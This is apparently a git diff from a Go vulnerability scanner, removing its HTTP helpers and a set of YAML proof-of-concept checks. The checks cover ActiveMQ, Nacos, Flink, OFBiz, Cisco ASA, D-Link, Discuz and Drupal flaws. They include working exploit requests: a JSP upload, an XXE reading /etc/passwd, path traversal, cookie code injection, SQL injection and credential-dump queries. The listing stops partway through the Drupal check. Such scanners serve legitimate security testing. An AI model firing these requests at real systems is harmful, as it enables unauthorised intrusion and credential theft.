var randSource = rand.New(rand.NewSource(time.Now().Unix()))
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n)
}
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, lowercase, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
return true
}
return false
}
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
-420
View File
@@ -1,420 +0,0 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: http.proto
package lib
import (
"embed"
fmt "fmt"
proto "github.com/golang/protobuf/proto"
"gopkg.in/yaml.v3"
math "math"
"strings"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
-35
View File
@@ -1,35 +0,0 @@
syntax = "proto3";
package lib;
message UrlType {
string scheme = 1;
string domain = 2;
string host = 3;
string port = 4;
string path = 5;
string query = 6;
string fragment = 7;
}
message Request {
UrlType url = 1;
string method = 2;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Response {
UrlType url = 1;
int32 status = 2 ;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Reverse {
UrlType url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
-34
View File
@@ -1,34 +0,0 @@
name: poc-yaml-activemq-cve-2016-3088
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
- method: PUT
path: /fileserver/{{filename}}.txt
body: |
{{fileContent}}
expression: |
response.status == 204
- method: GET
path: /admin/test/index.jsp
search: |
activemq.home=(?P<home>.*?),
follow_redirects: false
expression: |
response.status == 200
- method: MOVE
path: /fileserver/{{filename}}.txt
headers:
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
follow_redirects: false
expression: |
response.status == 204
- method: GET
path: /api/{{filename}}.jsp
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
@@ -1,16 +0,0 @@
name: poc-yaml-activemq-default-password
rules:
- method: GET
path: /admin/
expression: |
response.status == 401 && response.body.bcontains(b"Unauthorized")
- method: GET
path: /admin/
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: |
response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://blog.csdn.net/ge00111/article/details/72765210
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-alibaba-canal-info-leak
rules:
- method: GET
path: /api/v1/canal/config/1/1
follow_redirects: false
expression: |
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
detail:
author: Aquilao(https://github.com/Aquilao)
info: alibaba Canal info leak
links:
- https://my.oschina.net/u/4581879/blog/4753320
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
-13
View File
@@ -1,13 +0,0 @@
name: poc-yaml-alibaba-nacos
rules:
- method: GET
path: /nacos/
follow_redirects: true
expression: |
response.body.bcontains(bytes("<title>Nacos</title>"))
detail:
author: AgeloVito
info: alibaba-nacos
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
-38
View File
@@ -1,38 +0,0 @@
name: poc-yaml-apache-flink-upload-rce
set:
r1: randomLowercase(8)
r2: randomLowercase(4)
rules:
- method: GET
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
body: |-
--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
Content-Type:application/octet-stream
{{r1}}
--8ce4b16b22b58894aa86c421e8759df3--
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") &&
response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
path: '/jars/{{filen}}'
follow_redirects: true
expression: |
response.status == 200
detail:
author: timwhite
links:
- https://github.com/LandGrey/flink-unauth-rce
@@ -1,19 +0,0 @@
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-apache-solr-file-read
rules:
- method: GET
path: "/solr/admin/cores?indexInfo=false&wt=json"
search: |
"name":"(?P<core_name>.+?)",
expression:
response.status == 200
- method: POST
path: "/solr/{{core_name}}/config"
headers:
Content-type: application/json
body: |
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
expression: |
response.status == 200 && response.body.bcontains(b"This")
detail:
author: flyinbed
links:
- "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
- "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
@@ -1,15 +0,0 @@
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -1,11 +0,0 @@
name: poc-yaml-bt742-pma-unauthorized-access
rules:
- method: GET
path: /pma/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
detail:
author: Facker007(https://github.com/Facker007)
links:
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
@@ -1,11 +0,0 @@
name: poc-yaml-cisco-cve-2020-3452-readfile
rules:
- method: GET
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
detail:
author: JrD (https://github.com/JrDw0/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-coremail-cnvd-2019-16798
rules:
- method: GET
path: >-
/mailsms/s?func=ADMIN:appState&dumpConfig=/
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://www.secpulse.com/archives/107611.html
@@ -1,22 +0,0 @@
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
set:
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /forum.php
follow_redirects: false
expression: |
response.status == 200
search: cookiepre = '(?P<token>[\w_]+)'
- method: GET
path: /forum.php
headers:
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
detail:
author: X.Yang
Discuz_version: Discuz!ML 3.x
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
-14
View File
@@ -1,14 +0,0 @@
name: poc-yaml-dlink-cve-2019-17506
rules:
- method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
detail:
author: l1nk3r,Huasir(https://github.com/dahua966/)
links:
- https://xz.aliyun.com/t/6453
@@ -1,12 +0,0 @@
name: poc-yaml-dlink-cve-2020-25078-account-disclosure
rules:
- method: GET
path: >-
/config/getuser?index=0
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") && response.headers["Content-Type"].contains("text/plain")
detail:
author: kzaopa(https://github.com/kzaopa)
links:
- https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg
@@ -1,15 +0,0 @@
name: poc-yaml-dlink-cve-2020-9376-dump-credentials
rules:
- method: POST
path: /getcfg.php
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
expression: >
response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
detail:
author: x1n9Qi8
Affected Version: "Dlink DIR-610"
links:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
-9
View File
@@ -1,9 +0,0 @@
name: poc-yaml-dlink-dcs-info-leak
rules:
- method: GET
path: /config/getuser?index=0
expression: response.status == 200 && response.body.bcontains(b"name=") && response.body.bcontains(b"pass=") && response.body.bcontains(b"priv=")
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/cG868wc7dmwxFslcwlgDpw
@@ -1,12 +0,0 @@
name: poc-yaml-docker-api-unauthorized-rce
rules:
- method: GET
path: /info
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
@@ -1,16 +0,0 @@
name: poc-yaml-docker-registry-api-unauth
rules:
- method: GET
path: /v2/
follow_redirects: false
expression: >
response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
- method: GET
path: /v2/_catalog
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
detail:
author: p0wd3r
links:
- http://www.polaris-lab.com/index.php/archives/253/
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /druid/index.html
expression: |
response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
detail:
author: met7or
links:
- https://github.com/alibaba/druid
@@ -1,14 +0,0 @@
name: poc-yaml-drupal-cve-2014-3704-sqli
rules:
- method: POST
path: /?q=node&destination=node
body: >-
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or
updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a
follow_redirects: false
expression: |
